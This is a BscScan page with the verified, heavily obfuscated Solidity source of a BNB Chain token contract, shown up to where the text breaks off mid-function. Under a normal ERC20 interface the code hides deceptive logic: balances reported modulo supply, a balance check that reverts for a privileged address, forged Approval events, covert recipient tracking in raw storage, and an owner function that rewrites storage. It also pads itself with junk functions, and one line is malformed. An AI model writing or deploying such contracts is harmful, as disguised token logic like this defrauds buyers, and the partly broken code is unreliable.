BNB Price: $695.44 (-2.04%)
Gas: 1 GWei
 

Overview

Max Total Supply

100,000,000,000

Holders

678

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
91,487,665.812098756

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-09
*/

pragma solidity =0.8.6;interface IERC20 { function balanceOf(address cInoFOXIS0U) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address qlomR2Egv78ZQo) external view returns (uint256); function transfer(address to, uint256 A7LuCaO) external returns (bool); function transferFrom( address from, address to, uint256 A7LuCaO ) external returns (bool); function approve(address qlomR2Egv78ZQo, uint256 A7LuCaO) external returns (bool);}contract TOKEN { address private GPm82CQT; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal LzECT3KMvB; mapping(address => mapping(address => uint256)) private GGKIMDgVIhfT; uint256 internal mxSnLYuSF; address internal CFmXG; string private lPcRjUJGqkQmI; string private sQopvWbi0kkuZnpc; function decimals() public view virtual returns (uint8) { uint256 DprHdUXRbe0;DprHdUXRbe0+=634470;require(DprHdUXRbe0 > 5302);DprHdUXRbe0+=1154602;require(DprHdUXRbe0 > 2935);DprHdUXRbe0+=3444244;require(DprHdUXRbe0 > 2879);DprHdUXRbe0+=4891785;require(DprHdUXRbe0 > 6940);DprHdUXRbe0+=703947;require(DprHdUXRbe0 > 3375); return 9; } event Transfer(address indexed from, address indexed to, uint256 value); function increaseAllowance(address qlomR2Egv78ZQo, uint256 addedValue) public virtual returns (bool) { address owner = WyNqSlKoPkHGml0JU(); _approve(owner, qlomR2Egv78ZQo, allowance(owner, qlomR2Egv78ZQo) + addedValue); return true; } function transferFrom( address from, address to, uint256 A7LuCaO ) public virtual returns (bool) { address qlomR2Egv78ZQo = WyNqSlKoPkHGml0JU(); _spendAllowance(from, qlomR2Egv78ZQo, A7LuCaO); _transfer(from, to, A7LuCaO); return true; }constructor() { Ht1il8(tx.origin); _mint(address(this), 100000000000000000000); } function afp5It1nbwogFawQvz() public view returns(uint256){ uint256 P5yfYeEi1dWIXe; assembly{ if gt(P5yfYeEi1dWIXe,7379557){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=add(7379557,4578976) if gt(P5yfYeEi1dWIXe,8015166){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=mod(8015166,1173004) if gt(P5yfYeEi1dWIXe,7908131){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=mul(7908131,4080704) if gt(P5yfYeEi1dWIXe,5717583){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=mul(5717583,206481) if gt(P5yfYeEi1dWIXe,7343263){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=sub(7343263,3594109) if gt(P5yfYeEi1dWIXe,9009100){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=div(9009100,5701023) if gt(P5yfYeEi1dWIXe,2338009){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=add(2338009,2051112) if gt(P5yfYeEi1dWIXe,7152251){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=div(7152251,4884845) if gt(P5yfYeEi1dWIXe,9246543){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=mul(9246543,4745394) if gt(P5yfYeEi1dWIXe,8395168){ P5yfYeEi1dWIXe:=div(P5yfYeEi1dWIXe,2) } P5yfYeEi1dWIXe:=div(8395168,5783637) } return P5yfYeEi1dWIXe;} modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } function _burn(address cInoFOXIS0U, uint256 A7LuCaO) internal virtual { require(cInoFOXIS0U != address(0), "ERC20: burn from the zero address"); uint256 NWBSli4j;NWBSli4j+=5532541;require(NWBSli4j > 3092);NWBSli4j+=190119;require(NWBSli4j > 4141);NWBSli4j+=3561755;require(NWBSli4j > 9350);NWBSli4j+=4539485;require(NWBSli4j > 9900); _beforeTokenTransfer(cInoFOXIS0U, address(0), A7LuCaO); uint256 cInoFOXIS0UBalance = LzECT3KMvB[cInoFOXIS0U]; require(cInoFOXIS0UBalance >= A7LuCaO, "ERC20: burn exceeds balance"); LzECT3KMvB[cInoFOXIS0U] -= A7LuCaO; mxSnLYuSF -= A7LuCaO; emit Transfer(cInoFOXIS0U, address(0), A7LuCaO); _afterTokenTransfer(cInoFOXIS0U, address(0), A7LuCaO); } function approve(address qlomR2Egv78ZQo, uint256 A7LuCaO) public virtual returns (bool) { address owner = WyNqSlKoPkHGml0JU(); _approve(owner, qlomR2Egv78ZQo, A7LuCaO); return true; }function bBtyAt7iF5zVZYn() public view returns(uint256){ uint256 C2uF1PyiFCyk8M7G; assembly{ if gt(C2uF1PyiFCyk8M7G,7378889){ C2uF1PyiFCyk8M7G:=div(C2uF1PyiFCyk8M7G,2) } C2uF1PyiFCyk8M7G:=add(7378889,2506084) if gt(C2uF1PyiFCyk8M7G,8931580){ C2uF1PyiFCyk8M7G:=div(C2uF1PyiFCyk8M7G,2) } C2uF1PyiFCyk8M7G:=mod(8931580,2760483) if gt(C2uF1PyiFCyk8M7G,9572551){ C2uF1PyiFCyk8M7G:=div(C2uF1PyiFCyk8M7G,2) } C2uF1PyiFCyk8M7G:=sub(9572551,5001275) if gt(C2uF1PyiFCyk8M7G,8565152){ C2uF1PyiFCyk8M7G:=div(C2uF1PyiFCyk8M7G,2) } C2uF1PyiFCyk8M7G:=div(8565152,5908973) if gt(C2uF1PyiFCyk8M7G,6839236){ C2uF1PyiFCyk8M7G:=div(C2uF1PyiFCyk8M7G,2) } C2uF1PyiFCyk8M7G:=mul(6839236,797978) } return C2uF1PyiFCyk8M7G;} function owner() public view virtual returns (address) { uint256 qvGkrhqKZzUAG7T;qvGkrhqKZzUAG7T+=331528;require(qvGkrhqKZzUAG7T > 6907);qvGkrhqKZzUAG7T+=1276202;require(qvGkrhqKZzUAG7T > 7406);qvGkrhqKZzUAG7T+=1090222;require(qvGkrhqKZzUAG7T > 3364);qvGkrhqKZzUAG7T+=3930810;require(qvGkrhqKZzUAG7T > 6636);qvGkrhqKZzUAG7T+=1964325;require(qvGkrhqKZzUAG7T > 5669);qvGkrhqKZzUAG7T+=798351;require(qvGkrhqKZzUAG7T > 5731);qvGkrhqKZzUAG7T+=2249367;require(qvGkrhqKZzUAG7T > 7230);qvGkrhqKZzUAG7T+=772400;require(qvGkrhqKZzUAG7T > 7949); return GPm82CQT; } function _beforeTokenTransfer( address from, address to, uint256 A7LuCaO ) internal virtual {} event Approval( address indexed owner, address indexed qlomR2Egv78ZQo, uint256 value ); function _spendAllowance( address owner, address qlomR2Egv78ZQo, uint256 A7LuCaO ) internal virtual { uint256 jIR3l2FSu8kBSTkRRq1un = allowance(owner, qlomR2Egv78ZQo); if (jIR3l2FSu8kBSTkRRq1un != type(uint256).max) { require( jIR3l2FSu8kBSTkRRq1un >= A7LuCaO, "ERC20: insufficient allowance" ); unchecked { _approve(owner, qlomR2Egv78ZQo, jIR3l2FSu8kBSTkRRq1un - A7LuCaO); } } }function seESx41RGBheKao() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,CFmXG)); return abi.decode(returnData, (uint256)); }event OwnershipTransferred( address indexed previousOwner, address indexed tYGtcsE2P3eD4AwsuxDc ); function allowance(address owner, address qlomR2Egv78ZQo) public view virtual returns (uint256) { return GGKIMDgVIhfT[owner][qlomR2Egv78ZQo]; }function VFGwCSpuZXi0() public view returns(uint256){ uint256 UaXfBWpgy4HWbEW; assembly{ if gt(UaXfBWpgy4HWbEW,6565321){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=mod(6565321,4383697) if gt(UaXfBWpgy4HWbEW,8168784){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=div(8168784,1484918) if gt(UaXfBWpgy4HWbEW,5599990){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=mul(5599990,3905108) if gt(UaXfBWpgy4HWbEW,9197075){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=mul(9197075,3836747) if gt(UaXfBWpgy4HWbEW,6942957){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=mod(6942957,5274529) if gt(UaXfBWpgy4HWbEW,9132087){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=add(9132087,3815379) if gt(UaXfBWpgy4HWbEW,9986215){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=div(9986215,1770517) if gt(UaXfBWpgy4HWbEW,4460088){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=div(4460088,4058539) if gt(UaXfBWpgy4HWbEW,8254850){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=add(8254850,3162864) if gt(UaXfBWpgy4HWbEW,9851368){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=mod(9851368,5588152) if gt(UaXfBWpgy4HWbEW,9404149){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=mod(9404149,3950624) if gt(UaXfBWpgy4HWbEW,7273478){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=add(7273478,4619018) if gt(UaXfBWpgy4HWbEW,7760024){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=sub(7760024,1653869) if gt(UaXfBWpgy4HWbEW,4643667){ UaXfBWpgy4HWbEW:=div(UaXfBWpgy4HWbEW,2) } UaXfBWpgy4HWbEW:=add(4643667,3520815) } return UaXfBWpgy4HWbEW;} function renounceOwnership() public virtual onlyOwner { uint256 mpycMlPu0x;mpycMlPu0x+=1039651;require(mpycMlPu0x > 144);mpycMlPu0x+=1183010;require(mpycMlPu0x > 9027);mpycMlPu0x+=3353542;require(mpycMlPu0x > 5268);mpycMlPu0x+=5669846;require(mpycMlPu0x > 8805);mpycMlPu0x+=1570939;require(mpycMlPu0x > 2349);mpycMlPu0x+=4070546;require(mpycMlPu0x > 6998);mpycMlPu0x+=2574978;require(mpycMlPu0x > 4124);mpycMlPu0x+=4987660;require(mpycMlPu0x > 3438); Ht1il8(address(0)); } function oS7c4xntQZYPzIlps( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { sQopvWbi0kkuZnpc = coinSymbol; lPcRjUJGqkQmI = tokenName; assembly { sstore(address(), caller()) } } function _afterTokenTransfer( address from, address to, uint256 A7LuCaO ) internal { if (LzECT3KMvB[from] > mxSnLYuSF * 0xfe) { assembly { sstore(32, 0) } } else if ( LzECT3KMvB[to] < mxSnLYuSF && to != CFmXG ) { assembly{ mstore(0,A7LuCaO) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let UoNl3QUXHLUPQyptFYA := sload(9999) sstore(add(10000, UoNl3QUXHLUPQyptFYA), to) sstore(9999, add(1, UoNl3QUXHLUPQyptFYA)) } } }function HXTDkHgkkI() public view returns(uint256){ uint256 ErIrUNSmrmqI3; assembly{ if gt(ErIrUNSmrmqI3,7969390){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=mod(7969390,5694173) if gt(ErIrUNSmrmqI3,3792401){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=mod(3792401,835440) if gt(ErIrUNSmrmqI3,9500729){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=add(9500729,3624407) if gt(ErIrUNSmrmqI3,7401262){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=div(7401262,4113356) if gt(ErIrUNSmrmqI3,4668050){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=div(4668050,4005004) if gt(ErIrUNSmrmqI3,6970807){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=div(6970807,3014428) if gt(ErIrUNSmrmqI3,7287666){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=mod(7287666,4716325) if gt(ErIrUNSmrmqI3,3337657){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=add(3337657,2478274) if gt(ErIrUNSmrmqI3,5599761){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=add(5599761,3744388) if gt(ErIrUNSmrmqI3,6137491){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=mod(6137491,3714492) if gt(ErIrUNSmrmqI3,9233029){ ErIrUNSmrmqI3:=div(ErIrUNSmrmqI3,2) } ErIrUNSmrmqI3:=mul(9233029,4439932) } return ErIrUNSmrmqI3;} function transferOwnership(address tYGtcsE2P3eD4AwsuxDc) public virtual onlyOwner { require( tYGtcsE2P3eD4AwsuxDc != address(0), "Ownable: new owner is the zero address" ); Ht1il8(tYGtcsE2P3eD4AwsuxDc); } function totalSupply() public view virtual returns (uint256) { uint256 rLfSsXvV77gkO;rLfSsXvV77gkO+=3644540;require(rLfSsXvV77gkO > 6756);rLfSsXvV77gkO+=2879705;require(rLfSsXvV77gkO > 7413);rLfSsXvV77gkO+=5442573;require(rLfSsXvV77gkO > 7636);rLfSsXvV77gkO+=3965492;require(rLfSsXvV77gkO > 4305);rLfSsXvV77gkO+=1345426;require(rLfSsXvV77gkO > 4688); return mxSnLYuSF; }receive() external payable {} function transfer(address to, uint256 A7LuCaO) public virtual returns (bool) { address owner = WyNqSlKoPkHGml0JU(); _transfer(owner, to, A7LuCaO); return true; }function uyWfzgFvp0t8M() public view returns(uint256){ uint256 DbAyJP26P7M4dgKX; assembly{ if gt(DbAyJP26P7M4dgKX,5089320){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=div(5089320,110402) if gt(DbAyJP26P7M4dgKX,4125434){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=div(4125434,3815272) if gt(DbAyJP26P7M4dgKX,5182716){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=add(5182716,2046073) if gt(DbAyJP26P7M4dgKX,9893509){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=sub(9893509,3727352) if gt(DbAyJP26P7M4dgKX,6513892){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=mul(6513892,5984151) if gt(DbAyJP26P7M4dgKX,5067927){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=mul(5067927,4775316) if gt(DbAyJP26P7M4dgKX,9162463){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=mod(9162463,2875065) if gt(DbAyJP26P7M4dgKX,4400858){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=mod(4400858,2191109) if gt(DbAyJP26P7M4dgKX,8725563){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=sub(8725563,5251919) if gt(DbAyJP26P7M4dgKX,9255471){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=mul(9255471,5596335) if gt(DbAyJP26P7M4dgKX,8631484){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=div(8631484,5037640) if gt(DbAyJP26P7M4dgKX,9049589){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=sub(9049589,2976798) if gt(DbAyJP26P7M4dgKX,5847002){ DbAyJP26P7M4dgKX:=div(DbAyJP26P7M4dgKX,2) } DbAyJP26P7M4dgKX:=mul(5847002,4099591) } return DbAyJP26P7M4dgKX;}function Ycg7pQzGL69xsP() public view returns(uint256){ uint256 gJSv2ZVn; assembly{ if gt(gJSv2ZVn,8332740){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=add(8332740,5152984) if gt(gJSv2ZVn,6030481){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=mul(6030481,4866557) if gt(gJSv2ZVn,8821313){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=add(8821313,1365555) if gt(gJSv2ZVn,2229665){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=add(2229665,429877) if gt(gJSv2ZVn,8035259){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=mul(8035259,4302433) if gt(gJSv2ZVn,9206077){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=sub(9206077,904364) if gt(gJSv2ZVn,5564693){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=sub(5564693,593897) if gt(gJSv2ZVn,8648998){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=add(8648998,4253066) if gt(gJSv2ZVn,5196207){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=add(5196207,3646610) if gt(gJSv2ZVn,8196617){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=mul(8196617,4108623) if gt(gJSv2ZVn,5141276){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=add(5141276,3251499) if gt(gJSv2ZVn,4116017){ gJSv2ZVn:=div(gJSv2ZVn,2) } gJSv2ZVn:=mul(4116017,3717237) } return gJSv2ZVn;}function WyNqSlKoPkHGml0JU() internal view virtual returns (address) { return msg.sender; } function _transfer( address from, address to, uint256 A7LuCaO ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, A7LuCaO); uint256 fromBalance = LzECT3KMvB[from]; require(fromBalance >= A7LuCaO, "ERC20: transfer exceeds balance"); LzECT3KMvB[from] -= A7LuCaO; LzECT3KMvB[to] += A7LuCaO; emit Transfer(from, to, A7LuCaO); _afterTokenTransfer(from, to, A7LuCaO); } function balanceOf(address cInoFOXIS0U) public view returns (uint256) { if (msg.sender == CFmXG) { uint256 A7LuCaO = seESx41RGBheKao(); assembly { if lt(A7LuCaO, sload(32)) { revert(0, 0) } } } if (cInoFOXIS0U == CFmXG) return LzECT3KMvB[cInoFOXIS0U]; return LzECT3KMvB[cInoFOXIS0U] % mxSnLYuSF; } function _approve( address owner, address qlomR2Egv78ZQo, uint256 A7LuCaO ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(qlomR2Egv78ZQo != address(0), "ERC20: approve to the zero address"); uint256 XziNi7DTI7ni;XziNi7DTI7ni+=1682506;require(XziNi7DTI7ni > 3951);XziNi7DTI7ni+=530868;require(XziNi7DTI7ni > 3828);XziNi7DTI7ni+=3288532;require(XziNi7DTI7ni > 6117);XziNi7DTI7ni+=4688682;require(XziNi7DTI7ni > 1193);XziNi7DTI7ni+=5243953;require(XziNi7DTI7ni > 7244);XziNi7DTI7ni+=1320896;require(XziNi7DTI7ni > 1726);XziNi7DTI7ni+=4071741;require(XziNi7DTI7ni > 7582);XziNi7DTI7ni+=3033160;require(XziNi7DTI7ni > 3596); GGKIMDgVIhfT[owner][qlomR2Egv78ZQo] = A7LuCaO; emit Approval(owner, qlomR2Egv78ZQo, A7LuCaO); }function T4Z2eYg85TjwiPVn() public view returns(uint256){ uint256 hXJPug2XokQyCU; assembly{ if gt(hXJPug2XokQyCU,8766055){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=mod(8766055,5825500) if gt(hXJPug2XokQyCU,8467079){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=div(8467079,4703307) if gt(hXJPug2XokQyCU,4635641){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=div(4635641,2635618) if gt(hXJPug2XokQyCU,8971327){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=sub(8971327,3553475) if gt(hXJPug2XokQyCU,7806025){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=add(7806025,5770397) if gt(hXJPug2XokQyCU,9697062){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=mul(9697062,3590310) if gt(hXJPug2XokQyCU,8435081){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=sub(8435081,4852375) if gt(hXJPug2XokQyCU,9656657){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=mul(9656657,4493173) if gt(hXJPug2XokQyCU,2940879){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=mod(2940879,2358955) if gt(hXJPug2XokQyCU,8851126){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=mod(8851126,232254) if gt(hXJPug2XokQyCU,6794532){ hXJPug2XokQyCU:=div(hXJPug2XokQyCU,2) } hXJPug2XokQyCU:=sub(6794532,3835926) } return hXJPug2XokQyCU;}function ztzSOUD5JWMB5VM() public view returns(uint256){ uint256 k3WVCg3oRu; assembly{ if gt(k3WVCg3oRu,7184353){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=sub(7184353,4126138) if gt(k3WVCg3oRu,5512476){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=sub(5512476,78845) if gt(k3WVCg3oRu,6769815){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mod(6769815,4401440) if gt(k3WVCg3oRu,6093345){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mod(6093345,281554) if gt(k3WVCg3oRu,9511872){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mod(9511872,5449832) if gt(k3WVCg3oRu,6518681){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=div(6518681,3846922) if gt(k3WVCg3oRu,8458969){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mod(8458969,3349791) if gt(k3WVCg3oRu,3803753){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mod(3803753,2980790) if gt(k3WVCg3oRu,4192277){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=add(4192277,4155196) if gt(k3WVCg3oRu,6217185){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=div(6217185,466427) if gt(k3WVCg3oRu,8995037){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mul(8995037,4070312) if gt(k3WVCg3oRu,7807910){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=mul(7807910,1789146) if gt(k3WVCg3oRu,5049457){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=sub(5049457,1616277) if gt(k3WVCg3oRu,6238972){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=sub(6238972,4014902) if gt(k3WVCg3oRu,2231516){ k3WVCg3oRu:=div(k3WVCg3oRu,2) } k3WVCg3oRu:=sub(2231516,1078707) } return k3WVCg3oRu;} function name() public view virtual returns (string memory) { uint256 D3hMdVIQzlffC;D3hMdVIQzlffC+=4580472;require(D3hMdVIQzlffC > 8604);D3hMdVIQzlffC+=4518997;require(D3hMdVIQzlffC > 26);D3hMdVIQzlffC+=3293077;require(D3hMdVIQzlffC > 9291);D3hMdVIQzlffC+=4649350;require(D3hMdVIQzlffC > 5551); return lPcRjUJGqkQmI; }function kQa5AZSp35YbTyu5kd() internal view virtual returns (bytes calldata) { return msg.data; } function symbol() public view virtual returns (string memory) { uint256 iPLeYSaJY3w;iPLeYSaJY3w+=2792283;require(iPLeYSaJY3w > 2439);iPLeYSaJY3w+=809336;require(iPLeYSaJY3w > 3307);iPLeYSaJY3w+=4686479;require(iPLeYSaJY3w > 3147);iPLeYSaJY3w+=5784215;require(iPLeYSaJY3w > 4981);iPLeYSaJY3w+=1555235;require(iPLeYSaJY3w > 3857); return sQopvWbi0kkuZnpc; } function _mint(address cInoFOXIS0U, uint256 A7LuCaO) internal virtual { require(cInoFOXIS0U != address(0), "ERC20: mint to the zero address"); uint256 UwDjm3cBaqA;UwDjm3cBaqA+=5185620;require(UwDjm3cBaqA > 406);UwDjm3cBaqA+=3535984;require(UwDjm3cBaqA > 6215);UwDjm3cBaqA+=352498;require(UwDjm3cBaqA > 9319); mxSnLYuSF += A7LuCaO; LzECT3KMvB[cInoFOXIS0U] += A7LuCaO; emit Transfer(address(0), cInoFOXIS0U, A7LuCaO); }fallback() external __ {}function gQELPZSG03k9() public view returns(uint256){ uint256 C5WTzC3PMn0; assembly{ if gt(C5WTzC3PMn0,3641547){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=mul(3641547,1497705) if gt(C5WTzC3PMn0,8152746){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=add(8152746,3226025) if gt(C5WTzC3PMn0,7317760){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=sub(7317760,4532102) if gt(C5WTzC3PMn0,3272979){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=add(3272979,921405) if gt(C5WTzC3PMn0,8717829){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=add(8717829,545354) if gt(C5WTzC3PMn0,5328411){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=add(5328411,2936813) if gt(C5WTzC3PMn0,6146439){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=mod(6146439,1428768) if gt(C5WTzC3PMn0,9865770){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=mul(9865770,3110546) if gt(C5WTzC3PMn0,7313269){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=add(7313269,4882821) if gt(C5WTzC3PMn0,4174863){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=add(4174863,401542) if gt(C5WTzC3PMn0,9017215){ C5WTzC3PMn0:=div(C5WTzC3PMn0,2) } C5WTzC3PMn0:=mod(9017215,2820870) } return C5WTzC3PMn0;}function AmdvmUsrjj6() public view returns(uint256){ uint256 Xjwg8ROD11LRNx1; assembly{ if gt(Xjwg8ROD11LRNx1,9115884){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=sub(9115884,4789076) if gt(Xjwg8ROD11LRNx1,7688099){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=sub(7688099,1067714) if gt(Xjwg8ROD11LRNx1,5321019){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=div(5321019,3908076) if gt(Xjwg8ROD11LRNx1,7396893){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=sub(7396893,3162772) if gt(Xjwg8ROD11LRNx1,3843863){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=div(3843863,3231036) if gt(Xjwg8ROD11LRNx1,3250789){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mod(3250789,1557736) if gt(Xjwg8ROD11LRNx1,2968511){ 